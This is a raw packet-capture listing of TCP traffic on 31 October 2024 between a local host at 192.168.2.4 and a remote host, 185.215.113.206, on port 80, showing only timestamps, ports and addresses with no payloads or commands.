Oct 31, 2024 17:26:10.262106895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.262115955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.262125015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.262152910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.262990952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.263005972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.263020039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.263034105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.263044119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.263068914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.263876915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.263892889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.263907909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.263921022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.263925076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.263942957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.263952971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.263978958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.264710903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.264755964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.312582970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.312664032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.312673092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.312688112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.312709093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.312731028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.313074112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.313087940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.313114882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.313132048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.313380003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.313421965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.313584089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.313595057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.313627005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.313812017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.313852072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.354269028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.354340076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.354341030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.354356050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.354373932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.354394913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.372922897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.372976065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.372989893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.372996092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.373011112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.373038054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.373174906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.373217106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.373405933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.373420000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.373451948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.373465061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.373832941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.373847008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.373859882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.373873949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.373878956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.373898029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.373934984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.374629021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.374649048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.374672890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.374690056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.375051022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.375065088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.375078917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.375096083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.375112057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.375624895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.375641108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.375653982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.375665903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.375670910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.375698090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.376547098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.376564026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.376576900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.376589060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.376593113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.376601934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.376617908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.376646042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.377434969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.377450943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.377464056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.377475977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.377481937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.377501965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.378343105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.378356934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.378370047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.378382921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.378387928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.378397942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.378412962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.378444910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.379247904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.379262924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.379272938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.379286051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.379292011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.379300117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.379319906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.379342079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.380100965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.380115986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.380142927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.380160093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.428037882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.428138971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.428174973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.428178072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.428204060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.428239107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.428323984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.428359985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.428364992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.428400993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.428699970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.428730011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.428754091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.428769112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.428786039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.428828001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.429104090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.429137945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.429158926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.429172993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.469793081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.469862938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.469870090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.469898939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.469918013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.469942093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.487957001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.488013029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.488064051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.488074064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.488097906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.488112926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.488267899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.488312960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.488337994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.488375902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.488534927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.488573074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.488583088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.488595009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.488625050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.488642931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.489164114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.489201069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.489351034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.489361048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.489372969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.489383936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.489396095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.489403009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.489442110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.490257025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.490267992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.490279913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.490291119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.490292072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.490303993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.490329027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.490351915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.491029024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.491040945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.491051912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.491064072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.491070032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.491111994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.491952896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.491965055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.491977930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.491995096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.492001057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.492007971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.492013931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.492049932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.492855072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.492866039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.492877007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.492887974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.492894888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.492942095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.493741989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.493753910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.493765116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.493777037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.493787050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.493794918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.493832111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.494600058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.494641066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.494656086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.494667053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.494678020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.494694948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.494714975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.495354891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.495366096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.495378017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.495388985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.495393991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.495440006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.770947933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.770991087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771001101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771089077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.771161079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771163940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.771173954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771186113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771204948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.771234989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.771645069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771656990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771667957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771678925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771689892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.771701097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.771719933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.771739006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.772361040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.772372961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.772384882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.772396088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.772407055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.772412062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.772445917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.773145914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.773156881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.773168087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.773179054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.773195028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.773197889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.773209095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.773210049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.773226023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.773252964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.774059057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.774070978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.774081945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.774100065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.774104118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.774112940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.774125099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.774131060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.774148941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.774173975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.775063992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.775075912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.775085926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.775113106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.775118113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.775120020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.775157928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.775176048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.776074886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.776087046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.776098013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.776113033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.776130915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.776134014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.776143074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.776160002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.776175976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.777023077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.777035952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.777045965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.777056932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.777067900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.777076006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.777080059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.777096033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.777115107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.778017044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778029919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778042078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778053045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778063059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778076887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778078079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.778103113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.778117895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.778805971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778819084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778830051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778841019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778851986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778863907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778868914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.778875113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.778889894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.778912067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.779736996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.779748917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.779758930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.779769897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.779782057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.779788971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.779788971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.779793024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.779805899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.779819012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.779835939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.779859066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.780690908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.780704021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.780713081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.780714035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.780725002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.780733109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.780741930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.780744076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.780754089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.780755043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.780766964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.780772924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.780777931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.780805111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.780828953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.781639099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.781651974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.781661034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.781673908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.781692028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.781692982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.781704903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.781716108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.781717062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.781728983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.781737089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.781737089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.781753063 CET	49730	80	192.168.2.4	185.215.113.206
